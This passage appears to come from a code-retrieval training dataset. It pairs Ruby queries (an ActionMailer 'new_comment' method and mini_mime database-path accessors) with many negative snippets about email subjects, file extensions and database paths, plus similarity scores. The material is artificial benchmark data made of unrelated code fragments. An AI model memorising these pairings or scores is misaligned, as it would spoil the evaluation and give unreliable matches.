update_obj\n mean, sd = rating.to_glicko_rating\n @obj.rating = mean\n @obj.rating_deviation = sd\n @obj.volatility = volatility\n end", "def update_values\n end", "def update_values\n end", "def update\n raise NotImplementedError\n end", "def update!(**args)\n @answers_header_signals = args[:answers_header_signals] if args.key?(:answers_header_signals)\n @property_value = args[:property_value] if args.key?(:property_value)\n @response_meaning_application = args[:response_meaning_application] if args.key?(:response_meaning_application)\n end", "def update!(**args)\n @create_time = args[:create_time] if args.key?(:create_time)\n @method_prop = args[:method_prop] if args.key?(:method_prop)\n @name = args[:name] if args.key?(:name)\n @state = args[:state] if args.key?(:state)\n end", "def update attributes, collection #:nodoc:\n 0\n end", "def update_property_groups(roll)\n @property_groups.each { |_, v| v.update_rent(roll) }\n end", "def update_info(update_attr_hash)\n update_attr_hash.each do |k,v| \n\t\t\tself.send(\"#{k}=\",v)\n\t\tend\n end", "def update!(**args)\n @source_property = args[:source_property] if args.key?(:source_property)\n end", "def update_properties(path, properties)\n prop_patch = PropPatch.new(properties)\n emit('propPatch', [path, prop_patch])\n prop_patch.commit\n\n prop_patch.result\n end", "def update\n set_deltatime\n set_last_update_at\n end" ]
[ "0.7012568", "0.6918917", "0.6918917", "0.6918917", "0.6918917", "0.6918917", "0.67404634", "0.6709981", "0.6709981", "0.66964126", "0.66964126", "0.66964126", "0.66964126", "0.6619218", "0.6570895", "0.6539287", "0.6517026", "0.63946927", "0.63901657", "0.63901657", "0.63328683", "0.6318612", "0.62846893", "0.62692374", "0.6264273", "0.6241163", "0.6216599", "0.6214641", "0.6210363", "0.6203827", "0.6203827", "0.620312", "0.6201905", "0.62001497", "0.61728275", "0.61728275", "0.6159924", "0.61569315", "0.61442953", "0.61260897", "0.6125199", "0.61227936", "0.61111224", "0.610543", "0.6102925", "0.60839343", "0.6083609", "0.6066973", "0.60602766", "0.6055065", "0.6051568", "0.6051568", "0.6042057", "0.60319084", "0.60221004", "0.60149413", "0.5994295", "0.5989816", "0.597674", "0.5973157", "0.5967343", "0.5965598", "0.59629464", "0.59618354", "0.5950329", "0.5950329", "0.5950329", "0.5950329", "0.5950329", "0.5950329", "0.5950329", "0.5950329", "0.59495455", "0.59442014", "0.59442014", "0.5944142", "0.5944142", "0.59361076", "0.5925741", "0.5925574", "0.59250593", "0.5924476", "0.5924476", "0.5921039", "0.59155524", "0.59145254", "0.5888445", "0.58860934", "0.5882302", "0.5879913", "0.5877467", "0.5877467", "0.58743787", "0.585829", "0.584583", "0.58408254", "0.5835501", "0.5829063", "0.5828611", "0.58228916", "0.5819882" ]
0.0
-1
Subject can be set in your I18n file at config/locales/en.yml with the following lookup: en.comment_mailer.new_comment.subject
def new_comment(rep, c_u, content) @current_user = c_u @content = content @rep = rep mail to: rep.user.email, subject: "Ripetizione per '#{rep.course.name}'" end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def message_subject=(value)\n @message_subject = value\n end", "def subject\n self['subject'] || msg['subject']\n end", "def subject=(subject); @message_impl.setSubject subject; end", "def subject\n @subject ||= Envelope::MessageTools.normalize(message.subject || '')\n end", "def subject (recipient)\n subject_variables = alert_variables[:subject].dup\n subject_variables.merge!(recipient_details(recipient))\n subject = \"#{I18n.t(\"#{recipient_type.to_s}_subject_#{alert_name.to_s}\", subject_variables)}\"\n subject\n end", "def subject=(string)\n set('Subject', string)\n end", "def subject\n message.subject\n end", "def subject_for(template, attributes = {})\n subject = EmailTemplate.subject_for(template)\n subject = I18n.t(\"email_templates.#{template}.default_subject\") if subject.nil?\n subject = \"No Subject\" if subject.nil?\n Florrick.convert(subject, add_default_attributes(attributes))\n end", "def subject\n @mail.subject\n end", "def set_subject(subject)\n\t\tend", "def subject\n title \n end", "def subject\n self['subject']\n end", "def subject_name=(value)\n @subject_name = value\n end", "def setSubject(subject)\n @fields['subject'] = subject\n self\n end", "def setSubject(subject)\n @fields['subject'] = subject\n self\n end", "def setSubject(subject)\n @fields['subject'] = subject\n self\n end", "def setSubject(subject)\n @fields['subject'] = subject\n self\n end", "def subject; @message_impl.getSubject; end", "def subject=(value)\n @subject = value\n end", "def subject=(value)\n @subject = value\n end", "def subject=(value)\n @subject = value\n end", "def subject=(value)\n @subject = value\n end", "def subject=(value)\n @subject = value\n end", "def subject=(value)\n @subject = value\n end", "def formatted_subject(text)\n name = PersonMailer.global_prefs.app_name\n label = name.blank? ? \"\" : \"[#{name}] \"\n \"#{label}#{text}\"\n end", "def subject\n @subject ||= \"(sans sujet)\"\n if @no_header_subject.nil?\n \"#{header_subject}#{@subject}\"\n else\n @subject\n end\n end", "def subject_name\n subject_full_name\n end", "def subject_name\n return @subject_name\n end", "def translate(mapping, key)\n I18n.t(:\"#{mapping.name}_subject\", :scope => [:devise, :mailer, key],\n :default => [:subject, key.to_s.humanize])\n end", "def subject() self.headers[\"Subject\"] || \"[NO SUBJECT]\" end", "def set_EmailSubject(value)\n set_input(\"EmailSubject\", value)\n end", "def set_EmailSubject(value)\n set_input(\"EmailSubject\", value)\n end", "def message_subject\n return @message_subject\n end", "def set_Subject(value)\n set_input(\"Subject\", value)\n end", "def set_Subject(value)\n set_input(\"Subject\", value)\n end", "def set_Subject(value)\n set_input(\"Subject\", value)\n end", "def set_Subject(value)\n set_input(\"Subject\", value)\n end", "def set_Subject(value)\n set_input(\"Subject\", value)\n end", "def set_Subject(value)\n set_input(\"Subject\", value)\n end", "def set_Subject(value)\n set_input(\"Subject\", value)\n end", "def set_Subject(value)\n set_input(\"Subject\", value)\n end", "def compose_email\n @title = t 'conclusion_draft_review.send_by_email'\n end", "def translate(mapping, key)\n I18n.t(:\"notifications_subject\", :scope => [:eventifier, :notifications, key],\n :default => [:subject, key.to_s.humanize])\n end", "def SetSubject(subject)\n\t\t#Subject of document\n\t\t@subject = subject\n\tend", "def set_EmailSubject(value)\n set_input(\"EmailSubject\", value)\n end", "def set_EmailSubject(value)\n set_input(\"EmailSubject\", value)\n end", "def set_title\n @title = t(:message_2, :scope => [:controller, :exams])\n end", "def get_subject\n\t\tend", "def subject\n @options.fetch(:subject) { \"Invitation\" }\n end", "def email_subject(form)\n \"#{form.type_of_enquiry} - #{reference}\"\n end", "def set_subject_and_message(form, subject, message)\n raise Impostor::MissingTemplateMethodError.new(\"set_subject_and_message must be implemented\")\n end", "def set_title\n @title = t(:message_0, :scope => [:controller, :scholarships])\n end", "def new_comment_created(recipient,title,from_mail,from_name,comment, link_to_commentable)\n @notify_subject = \"Your entry '#{title}', was commented by #{from_name}\"\n @comment = comment\n @from_name = from_name\n @from_mail = from_mail\n @link_to_commentable = link_to_commentable\n mail( :from => from_mail,\n :to => [ENV['APPLICATION_CONFIG_admin_notification_address'],recipient].uniq,\n :subjcect => @notify_subject\n )\n end", "def subject\n @subject\n end", "def subject\n @subject\n end", "def mmm_test_subj_call\n ->(candidate) { I18n.t('email.test_monthly_mail_subject_initial_input', candidate_account_name: candidate.account_name) }\n end", "def subject(options = {})\n options = { :capitalize => true, :case => Grammar::Case::SUBJECT }.merge(options)\n pronoun_or_noun(@subject, @audience, options)\n end", "def email_subject\n sponsor_name = @config.plan.sponsor_name\n display_date = @date.to_s()\n if @config.div_id.present?\n email_subject = \"Payroll report for #{sponsor_name} for division #{@config.division_name}: #{display_date}\"\n else\n email_subject = \"Payroll report for #{sponsor_name}: #{display_date}\"\n end\n return email_subject\n end", "def notification_of_new_comment(comment, host=nil)\n set_locale comment.listing.author.locale\n subject_string = comment.author.name + \" on kommentoinut ilmoitustasi\"\n url = host ? \"http://#{host}#{listing_path(comment.listing.id)}\" : \"test_url\"\n settings_url = host ? \"http://#{host}#{person_settings_path(comment.listing.author.id)}\" : \"test_url\"\n recipients comment.listing.author.email\n from APP_CONFIG.kassi_mail_from_address\n subject subject_string\n body :comment => comment, :url => url, :settings_url => settings_url, :listing_title => get_title_with_category(comment.listing)\n end", "def normalize_subject_name\n self.subject = subject.downcase.titleize\n end", "def subject\n @subject\n end", "def course_notification_card_text(course)\n t('notifications.new_course_created_html', title: course.title)\n end", "def question_notification(asker, subject, details)\n @asker = asker\n @subject = subject\n @details = details\n\n mail to: \"Alex Yang <alexyang.personal@gmail.com>\",\n from: \"BaseRails <notifications@baserails.com>\",\n subject: \"#{asker} posted a new question on BaseRails\"\n end", "def subject\n @subject=EzCrypto::Name.new(@cert.subject) unless @subject\n @subject\n end", "def assign_canned_subject\n self.subject = canned_subject\n end", "def comment_added(options)\n @to, @subject, @body, @obj = options[:to], options[:subject], options[:body], options[:obj]\n @bootloader_path = default_bootloader_path(@obj)\n @conference = conference(@to)\n mail(:to => email_addresses(@to),\n :from => email_sender_address(@to),\n :subject => I18n.t('message_mailer.comment_added.subject', \n :number => @obj.presentation.number,\n :namespace => @conference.tag))\n end", "def title\r\n fail \"There are no messages yet\" if self.messages.size == 0\r\n\r\n @messages[0].subject.size == 0 ? \"No title\" : @messages[0].subject\r\n end", "def new_comment_forum_topic(forum_topic_comment)\n @forum_topic_comment = forum_topic_comment\n @emails = Organisation.get_all_emails(forum_topic_comment.organisation)\n mail(\n to: @emails,\n subject: 'JetSetGo - New comment on Forum topic'\n )\n end", "def course_notification_item_details(course)\n t('notifications.subscribe_course')\n end", "def subject_id\n raise ArgumentError, \"#subject_id not implemented for #{self.class}\"\n end", "def get_subject_name\n subject_name = subject_header.text.sub! 'Subject:', ''\n subject_name = subject_name.strip!\n subject_name\n end", "def set_subject\n @subject = Subject.friendly.find(params[:id])\n end", "def email_subject(&blk)\n @email_subject_block = blk if blk\n @email_subject_block\n end", "def set_subject\n @subject = Subject.find(params[:subject_id])\n end", "def set_subject\n\t\t\t@subject = Subject.find(params[:id])\n\t\tend", "def set_subject\n @subject = Subject.find(params[:id])\n end", "def set_subject\n @subject = Subject.find(params[:id])\n end", "def set_subject\n @subject = Subject.find(params[:id])\n end", "def set_subject\n @subject = Subject.find(params[:id])\n end", "def set_subject\n @subject = Subject.find(params[:id])\n end", "def set_subject\n @subject = Subject.find(params[:id])\n end", "def set_subject\n @subject = Subject.find(params[:id])\n end", "def set_subject\n @subject = Subject.find(params[:id])\n end", "def set_subject\n @subject = Subject.find(params[:id])\n end", "def set_subject\n @subject = Subject.find(params[:id])\n end", "def set_subject\n @subject = Subject.find(params[:id])\n end", "def set_subject\n @subject = Subject.find(params[:id])\n end", "def set_subject\n @subject = Subject.find(params[:id])\n end", "def set_subject\n @subject = Subject.find(params[:id])\n end", "def set_subject\n @subject = Subject.find(params[:id])\n end", "def choose_subject(action, params = {})\n scope = [:mailers, mailer_name, action]\n key = :subject\n experiment_name = \"#{mailer_name}_mailer_#{action}_subject\".to_sym\n if experiment_active?(experiment_name)\n scope << key\n key = ab_test(experiment_name)\n end\n params.merge!(scope: scope)\n I18n.t(key, params)\n end", "def subject\n return @subject\n end", "def subject\n return @subject\n end", "def subject\n return @subject\n end", "def subject\n return @subject\n end", "def subject\n return @subject\n end", "def subject\n return @subject\n end", "def subject=(text)\n current_div.text_field(:id=>\"comp-subject\").set text\n end", "def subject\n map_field(:subject)&.map { |a| a.gsub(/ \\$[a-z] /, '--') }\n end", "def data_subject=(value)\n @data_subject = value\n end", "def set_subject\n @subject = Subject.find params[:subject_id]\n end" ]
[ "0.7054389", "0.7048295", "0.6907896", "0.6832532", "0.68022054", "0.67697823", "0.6599975", "0.6594343", "0.6585258", "0.6551703", "0.65402216", "0.64974725", "0.6496766", "0.64936936", "0.64936936", "0.64936936", "0.64936936", "0.6491419", "0.64622784", "0.64622784", "0.64622784", "0.64622784", "0.64622784", "0.64622784", "0.64481854", "0.6428587", "0.6397213", "0.63854706", "0.6376287", "0.6375129", "0.6360501", "0.63594717", "0.63403326", "0.63180846", "0.63180846", "0.63180846", "0.63180846", "0.63180846", "0.63180846", "0.63180846", "0.63180846", "0.630882", "0.6295894", "0.62757987", "0.6257889", "0.62563574", "0.6235709", "0.6219346", "0.614073", "0.6113975", "0.59908766", "0.59876806", "0.5986166", "0.5985892", "0.5985892", "0.59850067", "0.59762406", "0.5972486", "0.5928818", "0.5926843", "0.5925071", "0.5921481", "0.587753", "0.5874826", "0.5873605", "0.5858937", "0.58331823", "0.58204454", "0.5803873", "0.57920265", "0.5788675", "0.57851076", "0.57519215", "0.57473767", "0.5740273", "0.5733353", "0.5733353", "0.5733353", "0.5733353", "0.5733353", "0.5733353", "0.5733353", "0.5733353", "0.5733353", "0.5733353", "0.5733353", "0.5733353", "0.5733353", "0.5733353", "0.5733353", "0.57283527", "0.5724739", "0.5724739", "0.5724739", "0.5724739", "0.5724739", "0.5724739", "0.57220924", "0.5716234", "0.57012224", "0.57003206" ]
0.0
-1
Sets the attribute content_type_db_path
def content_type_db_path=(_arg0); end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def attachment_content_type=(value)\n self.content_type=value\n end", "def database_path=(val)\n @database_path = val.index(\"://\").nil? ? \"sqlite3://#{val}\" : val\n load_signatures\n end", "def content_type=(value)\n @content_type = value\n end", "def content_type=(type)\n\t\t\tif type.index(C_slash)\n\t\t\t\t@content_type = type\n\t\t\telse\n\t\t\t\t@content_type = MIME::Types.type_for(type).first || BINARY_TYPE\n\t\t\tend\n\t\tend", "def set_content_type\n @content_type = ContentType.find(params[:id])\n end", "def content_type=(new_content_type)\n write_attribute(:content_type, new_content_type)\n end", "def ext_db_path=(_arg0); end", "def ext_db_path=(_arg0); end", "def image_content_type=(value)\n @children['image-content-type'][:value] = value\n end", "def setContenttype(contenttype)\r\n\t\t\t\t\t@contenttype = contenttype\r\n\t\t\t\tend", "def content_type=(new_content_type)\n @content_type = new_content_type\n end", "def content_type=(content_type); end", "def content_type=(type)\n @content_type = type\n end", "def ext_db_path; end", "def ext_db_path; end", "def default_database_file_path=(file_path)\n\t\t\t@default_database_file_path = file_path\n\t\tend", "def []=(content_type, klass); end", "def mime_type=(value)\n @mime_type = value\n end", "def assign_type(content_type)\n self.type = MimeMapping.class_type_from(content_type).name\n end", "def db_path\n @db\n end", "def set(type, content)\n grit.git.put_raw_object(content, type.to_s)\n end", "def content_type=(v) Axlsx::validate_content_type v; @content_type = v end", "def default_mime_type=(value); end", "def set_ContentType(value)\n set_input(\"ContentType\", value)\n end", "def set_ContentType(value)\n set_input(\"ContentType\", value)\n end", "def set_ContentType(value)\n set_input(\"ContentType\", value)\n end", "def set_ContentType(value)\n set_input(\"ContentType\", value)\n end", "def content_types=(value)\n @content_types = value\n end", "def set_content_type\n format = settings[:format] = params[:format].to_sym\n content_type content_types[format]\n end", "def set_data_file_path(data_file_path)\n PureHailDB.ib_cfg_set(\"data_file_path\", :string, data_file_path)\n end", "def set_ContentType(value)\n set_input(\"ContentType\", value)\n end", "def set_ContentType(value)\n set_input(\"ContentType\", value)\n end", "def content_type(value = nil)\n value ? @content_type = value : @content_type\n end", "def db_record\n db or MyBiaDJ::Table(:files)[:path => relative_path, :name => name.to_s]\n end", "def path=(value)\r\n result = Api.proj_context_set_database_path(self.context, value, nil, nil)\r\n unless result == 1\r\n Error.check_context(self.context)\r\n end\r\n self\r\n end", "def save_to_db(type)\n self.tag = type\n self.save!\n puts \"saving at url : #{self.file.url}\"\n puts \"saved\"\n end", "def type path\n end", "def set_content_type(override=false)\n if override || file.content_type.blank? || generic_content_type?\n new_content_type = ::MIME::Types.type_for(current_path).first.to_s\n if file.respond_to?(:content_type=)\n file.content_type = new_content_type\n else\n file.instance_variable_set(:@content_type, new_content_type)\n end\n end\n rescue ::MIME::InvalidContentType => e\n raise CarrierWave::ProcessingError, I18n.translate(:\"errors.messages.mime_types_processing_error\", :e => e)\n end", "def database_type\n :sqlite\n end", "def content_type_of(path)\n attributes_for(path).content_type\n end", "def save_content_type_and_size\n model.content_type = file.content_type if model.respond_to?(:content_type) && file.content_type\n model.file_size = file.size if model.respond_to?(:file_size)\n end", "def path\n @options[:database_path]\n end", "def path\n @options[:database_path]\n end", "def set_file_type\n if self.is_local?\n if self.attachment_content_type.blank?\n self.file_type = \"misc\"\n elsif self.attachment_content_type == 'application/pdf'\n self.file_type = \"pdf\"\n elsif self.attachment_content_type.include?('powerpoint')\n self.file_type = \"presentation\"\n elsif self.attachment_content_type == 'application/zip'\n self.file_type = \"zip\"\n elsif self.attachment_content_type == \"application/rtf\" || self.attachment_content_type == 'text/plain' || self.attachment_content_type == 'application/msword' || self.attachment_content_type.include?('wordprocessing')\n self.file_type = \"document\"\n elsif self.attachment_content_type.include?('spreadsheet') || self.attachment_content_type == 'ms-excel'\n self.file_type = \"spreadsheet\"\n elsif self.attachment_content_type.include?('image')\n self.file_type = \"image\"\n else\n self.file_type = \"misc\"\n end\n end\n end", "def content_type(path)\r\n ext = File.extname(path).split(\".\").last\r\n CONTENT_TYPE_MAPPING.fetch(ext, DEFAULT_CONTENT_TYPE)\r\nend", "def klass=(content_type)\n if self.class_name == content_type.slug\n @klass = content_type\n end\n end", "def assign_type(content_type)\n self.type = self.class.class_type_from(content_type)\n end", "def path= path\n @path = path\n @fileInTable.path = @user + '/' + @group + '/' + @path\n save\n end", "def db_type\n @db_type || self.class.db_type\n end", "def db_type\n @db_type || self.class.db_type\n end", "def blob_format=(value)\n @children['blob-format'][:value] = value\n end", "def set_content_type(override=false)\n if override || file.content_type.blank?\n File.open(file.path) do |fd|\n data = fd.read(1024) || \"\"\n new_content_type = filemagic.buffer(data)\n if file.respond_to?(:content_type=)\n file.content_type = new_content_type\n else\n file.instance_variable_set(:@content_type, new_content_type)\n end\n end\n end\n end", "def update_content_type\n if file.present? && file_changed?\n self.content_type = file.file.content_type\n end\n end", "def mime_type=(_); end", "def type_attribute_directory\n Pathname.new(puppet_lib) + 'type' + @name\n end", "def file=(value)\n begin\n #Kdb.open do |kdb|\n backend_root = Kdb::Key.new Kdbtools::MOUNTPOINTS_PATH\n backend_root.add_basename @resource[:name]\n\n # mountconf = Kdb::KeySet.new\n # kdb.get mountconf, backend_root\n perform_kdb_action backend_root do |mountconf|\n\n if path_key.nil?\n raise Puppet::Error, \"path key not found in backend config\"\n end\n\n path_key.value = @resource[:file]\n\n # kdb.set mountconf, backend_root\n end\n rescue\n Puppet.debug \"could not set file within backend, fallback to recreate mountpoint\"\n # fallback, recreate mountpoint\n recreate\n end\n end", "def set_type\n case content\n when \"empty\" then self.content_type = \"empty\"\n when /ire/ then self.content_type = \"ire\"\n when /hill|tree/ then self.content_type = \"obstacle\"\n when /axe|sword|lance/ then self.content_type = \"enemy\"\n else raise \"Change type\"\n end\n end", "def content_type(type=nil, params={})\n return @_content_type unless type\n super(type, params)\n @_content_type = type\n end", "def content_type(path)\n ext = File.extname(path).split(\".\").last\n CONTENT_TYPE_MAPPING.fetch(ext, DEFAULT_CONTENT_TYPE)\nend", "def content_type(path)\n ext = File.extname(path).split(\".\").last\n CONTENT_TYPE_MAPPING.fetch(ext, DEFAULT_CONTENT_TYPE)\nend", "def sql_type=(val)\n self['sql_type'] = val\n end", "def corresponding_primary_content_type_base_dir\n # OPTIMIZE: Can we replace this method with #corresponding_content_type_base_dir_in_other_repo ?\n File.expand_path(\n config_setting(:relative_path_to_primary_content_type),\n config_base_dir(:content_type_dir)\n ) + '/'\n end", "def attribute_path\n type_attribute_directory + \"#{@attribute_name}.rb\"\n end", "def content=(value)\n self.temp_files = [value].flatten.select do |f|\n FILE_CLASSES.member?(f.class.name)\n end\n # correctly triggering dirty\n if temp_files.present?\n write_attribute(:content, nil)\n content_will_change!\n else\n write_attribute(:content, value)\n end\n end", "def content_type\n environment.content_type_of(pathname)\n end", "def content_type(path)\n ext = File.extname(path).split('.').last\n CONTENT_TYPE_MAPPING.fetch(ext, DEFAULT_CONTENT_TYPE)\n end", "def set_storage_type\n @storage_type = StorageType.find(params[:id])\n end", "def root_dir\n File.join(self.runner.path, 'app', 'content_types')\n end", "def content_type\n @content_type ||=\n identified_content_type ||\n declared_content_type ||\n guessed_safe_content_type ||\n Marcel::MimeType::BINARY\n end", "def content_type\n# if stat.directory?\n# \"text/html\"\n# else \n# mime_type(file_path, DefaultMimeTypes)\n# end\n @bson['contentType'] || \"text/html\"\n end", "def set_DB()\n self.is_db = 1\n save()\n end", "def content_file=(file_path)\n if File.exist?(file_path)\n s = File.size(file_path)\n if s > 0\n self.size = s\n self.content_type = %x[ file -ib \"#{file_path}\" ].strip\n self.filename = File.basename(file_path)\n self.content = File.read(file_path)\n true\n else\n false\n end\n else\n false\n end\n end", "def override_content_type_and_save_info\n case File.extname(file.file).delete('.').downcase.to_sym\n when :xlsx\n file.content_type = 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet'\n when :docx\n file.content_type = 'application/vnd.openxmlformats-officedocument.wordprocessingml.document'\n when :pptx\n file.content_type = 'application/vnd.openxmlformats-officedocument.presentationml.presentation'\n when :rar\n file.content_type = 'application/vnd.rar'\n when :zip\n file.content_type = 'application/zip'\n when :bat\n file.content_type = 'application/x-msdos-program'\n when :cmd\n file.content_type = 'application/cmd'\n when :exe\n file.content_type = 'application/x-msdownload'\n when :msi\n file.content_type = 'application/x-msi'\n when :php\n file.content_type = 'application/x-php'\n when :py\n file.content_type = 'application/x-python'\n when :vbs\n file.content_type = 'application/x-vbs'\n end\n\n model.file_content_type = file.content_type if file.content_type\n model.file_size = number_to_human_size(file.size) if file.size\n end", "def content_type=(value)\n raise ArgumentError, \"content_type must be set to :data or :header, was: #{value.inspect}\" unless [:data, :header].include?(value)\n @content_type = value\n end", "def set_content_type(content_type)\n set_header 'Content-Type', content_type\n end", "def add_content_type(extension, type); end", "def content_type\n @record.send( :\"#{@column}_content_type\" ) rescue ''\n end", "def schema_column_type(db_type)\n case db_type\n when 'json'\n :json\n when 'jsonb'\n :jsonb\n else\n super\n end\n end", "def default_blob_mode=(mode)\n @default_blob_mode = mode.to_sym\n end", "def set_type\n end", "def content_type\n @content_type || object.content_type\n end", "def base_path=(base_path)\n @base_path = base_path\n end", "def entity_type=(value)\n @entity_type = value\n end", "def content_type(path)\n extension = path.split(\".\").last\n type = CONTENT_TYPE[extension] ||= 'application/octet-stream'\nend", "def rel_type=(value)\n @children['rel-type'][:value] = value\n end", "def content_type=( type )\n\t\treturn self.headers.content_type = type\n\tend", "def content_type=( type )\n\t\treturn self.headers.content_type = type\n\tend", "def content_url=(value)\n @content_url = value\n end", "def content_url=(value)\n @content_url = value\n end", "def db_file\n self.class.db_root.join(id) if id\n end", "def set_dbedt_upload\n @dbedt_upload = DbedtUpload.find(params[:id])\n end", "def content_source=(value)\n @content_source = value\n end", "def content_type\n @content_type ||= begin\n if format_extension.nil?\n engine_content_type || 'application/octet-stream'\n else\n format_content_type ||\n engine_content_type ||\n 'application/octet-stream'\n end\n end\n end", "def set_file_type(file_type)\n @file_type = file_type\n init_data_arrays\n end", "def attributes\n super.merge(:content_type => content_type)\n end", "def enforce_content_type\n @config.instance_variable_set(:@enforce_content_type, true)\n end", "def schema=(value)\n @schema = value\n end", "def check_content_type!\n\n if self.content_type and (not self.content_type.saved?) and loaded_content_type = ContentType.get(self.content_type.id)\n self.content_type = loaded_content_type\n end\n\n end", "def path=(path)\n @path= path\n end" ]
[ "0.6289128", "0.6219748", "0.6199551", "0.6135668", "0.6132708", "0.6067474", "0.606524", "0.6064842", "0.60540867", "0.6016864", "0.6015564", "0.5944689", "0.5937697", "0.58732784", "0.58732784", "0.5795332", "0.5745594", "0.5618715", "0.5617794", "0.5611179", "0.5605457", "0.5578706", "0.5551584", "0.55487555", "0.55487555", "0.55487555", "0.55487555", "0.5544959", "0.55289155", "0.54656994", "0.5457346", "0.5457346", "0.5433685", "0.54287285", "0.54143286", "0.5405827", "0.53901726", "0.5365139", "0.53506315", "0.5345028", "0.53443915", "0.53305507", "0.53305507", "0.53239197", "0.5296853", "0.52870214", "0.5286953", "0.52689785", "0.5224891", "0.5224891", "0.52245146", "0.52206314", "0.52067786", "0.52061915", "0.51973855", "0.5194425", "0.5185099", "0.5183696", "0.5174246", "0.5174246", "0.5158467", "0.5132901", "0.5128701", "0.51226526", "0.5119589", "0.51177377", "0.51005626", "0.510049", "0.5099208", "0.50931627", "0.50893474", "0.50887775", "0.5057489", "0.5054529", "0.5054107", "0.5051752", "0.5049174", "0.5025926", "0.50118816", "0.500712", "0.4991656", "0.49913093", "0.49642092", "0.4947638", "0.49397048", "0.4938527", "0.4938527", "0.49314874", "0.49314874", "0.49259153", "0.4925009", "0.4920838", "0.49136755", "0.49114975", "0.4908187", "0.49077505", "0.49061832", "0.49044758", "0.49035203" ]
0.8190598
1
Returns the value of attribute ext_db_path. source://mini_mime//lib/mini_mime.rb20
def ext_db_path; end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def ext_db_path=(_arg0); end", "def ext_db_path=(_arg0); end", "def ext\n @ext ||= File.extname(path)\n end", "def extension\n return _meta_data['extension'] if _meta_data.has_key? 'extension'\n ext\n end", "def ext_path\n \"/#{@file.bucket}/#{@file.name}\"\n end", "def content_type_db_path=(_arg0); end", "def content_type_db_path=(_arg0); end", "def ext\n File.extname( fullpath )\n end", "def ext\n File.extname(@path)\n end", "def extname; end", "def extname; end", "def extname; end", "def extname; end", "def ext\n File.extname(path)\n end", "def file_extension\n self.class.file_extension\n end", "def file_extension\n self::FILE_EXTENSION\n end", "def extension\n extension_from_disk.blank? ? extension_from_feed : extension_from_disk\n end", "def db_path\n @db\n end", "def extension\n path.split('.').last\n end", "def ext_path\n path = \"/#{@bucket_name}\"\n path += \"/#{String(@file_name)}\" if @file_name && !@file_name.empty?\n Addressable::URI.escape path\n end", "def file_extension; end", "def file_extension; end", "def file_extension; end", "def db_record\n db or MyBiaDJ::Table(:files)[:path => relative_path, :name => name.to_s]\n end", "def extension\n @ext ||= ( ( e = File.extname( path ) ).empty? ? nil : e )\n end", "def current_ext\r\n current_data ? current_data[:ext] : nil\r\n end", "def file_extension\n FILE_EXTENSION\n end", "def extension\n extensions.last || \"\"\n end", "def current_ext\n current_data ? current_data[:ext] : nil\n end", "def extension_attribute4\n return @extension_attribute4\n end", "def extension\n begin\n @file_data.original_filename.split(\".\").last\n rescue\n @file_data.path.split(\".\").last\n end\n end", "def extname() File.extname(@path) end", "def filename\n @adapter.attribute\n end", "def path\n s = lib.tcidbpath( @db )\n return File.expand_path( s ) if s\n end", "def ext\n b,e = split_extension(filename)\n e\n end", "def ext\n file.extension.downcase\n end", "def extension\n File.basename(root_path)\n end", "def file_extension(extension = T.unsafe(nil)); end", "def path\n case database\n when 'MEDLINE', 'WOS'\n '/REC/static_data/fullrecord_metadata/abstracts/abstract/abstract_text'\n else\n logger.error(\"Unknown WOK database: #{database}\")\n nil\n end\n end", "def extension_attribute8\n return @extension_attribute8\n end", "def extname\n\t\treturn nil unless src\n\n\t\tFile.extname url.path\n\tend", "def extension_attribute7\n return @extension_attribute7\n end", "def extension\n @file_data.original_filename.split(\".\").last\n end", "def extension\n @file_data.original_filename.split(\".\").last\n end", "def extension\n @file_data.original_filename.split(\".\").last\n end", "def extname() File.extname(path) end", "def extension_attribute9\n return @extension_attribute9\n end", "def uri_extension\n @uri_extension ||= File.extname(uri.path)\n end", "def extension_attribute5\n return @extension_attribute5\n end", "def path\n name + extension\n end", "def get_extension(path)\n return path[/^.+(\\.[a-z0-9]+)$/i, 1]\n end", "def ext_obj\n \"ext(#{ext_channel}, #{ext_type}, #{ext_id})\"\n end", "def base()\n sub_ext('').basename.to_s\n end", "def ext_of(filename)\n filename =~ extension_regex ? $2 : ''\n end", "def app_picture_rel_path\n # logger.debug41 \"gift.app_picture_rel_path: app_picture_rel_path = #{read_attribute(:app_picture_rel_path)} (#{read_attribute(:app_picture_rel_path).class.name})\"\n return nil unless (extended_app_picture_rel_path = read_attribute(:app_picture_rel_path))\n encrypt_remove_pre_and_postfix(extended_app_picture_rel_path, 'app_picture_rel_path', 41)\n end", "def ext\n @ext ||= path.split('.').size > 1 ? path.split('.')[-1] : 'html'\n end", "def extension_attribute1\n return @extension_attribute1\n end", "def db_file\n self.class.db_root.join(id) if id\n end", "def extension_attribute2\n return @extension_attribute2\n end", "def extension_attribute3\n return @extension_attribute3\n end", "def st_extension\n return \"jpg\" unless self.class.st_config[:extension].present?\n if self.class.st_config[:extension].is_a?(String)\n self.class.st_config[:extension]\n else\n self.send(self.class.st_config[:extension])\n end\n end", "def attribute_path\n type_attribute_directory + \"#{@attribute_name}.rb\"\n end", "def extension_attribute14\n return @extension_attribute14\n end", "def database_path=(val)\n @database_path = val.index(\"://\").nil? ? \"sqlite3://#{val}\" : val\n load_signatures\n end", "def file_path(ext = nil)\n return nil unless file_name(ext)\n \"#{self.base_path}/#{file_name(ext)}\"\n end", "def iiif_bytestream_path\n case storage_root\n when \"draft\"\n File.join(IDB_CONFIG[:iiif][:draft_base], storage_key)\n when \"medusa\"\n File.join(IDB_CONFIG[:iiif][:medusa_base], storage_key)\n else\n raise StandardError.new(\"invalid storage_root found for datafile: #{self.web_id}\")\n end\n end", "def file_extension\n return \"oemodel\"\n end", "def model_file_path\n model.file_path\n end", "def absolute_db_path\n pn = Pathname.new(__FILE__)\n install_dir = pn.dirname.parent.parent.to_s + Pathname::SEPARATOR_LIST\n install_dir + @storage_location + @database_name\n end", "def path\n @options[:database_path]\n end", "def path\n @options[:database_path]\n end", "def extension\n File.extname(id)[1..-1] || File.extname(original_filename.to_s)[1..-1]\n end", "def extension_from_path(path)\n @extensions.find {|e| e.path == path}\n end", "def raw_mime_dir_value\n Base64.strict_encode64(@value)\n end", "def get_ext (file)\n\n\t\tif file.is_a? String\n\t\t\treturn File.extname(file)\n\t\telsif file.is_a? File\n\t\t\treturn File.extname(file.path)\n\t\tend\n\n\tend", "def extension_attribute13\n return @extension_attribute13\n end", "def extension\n split_extension(filename)[1] if 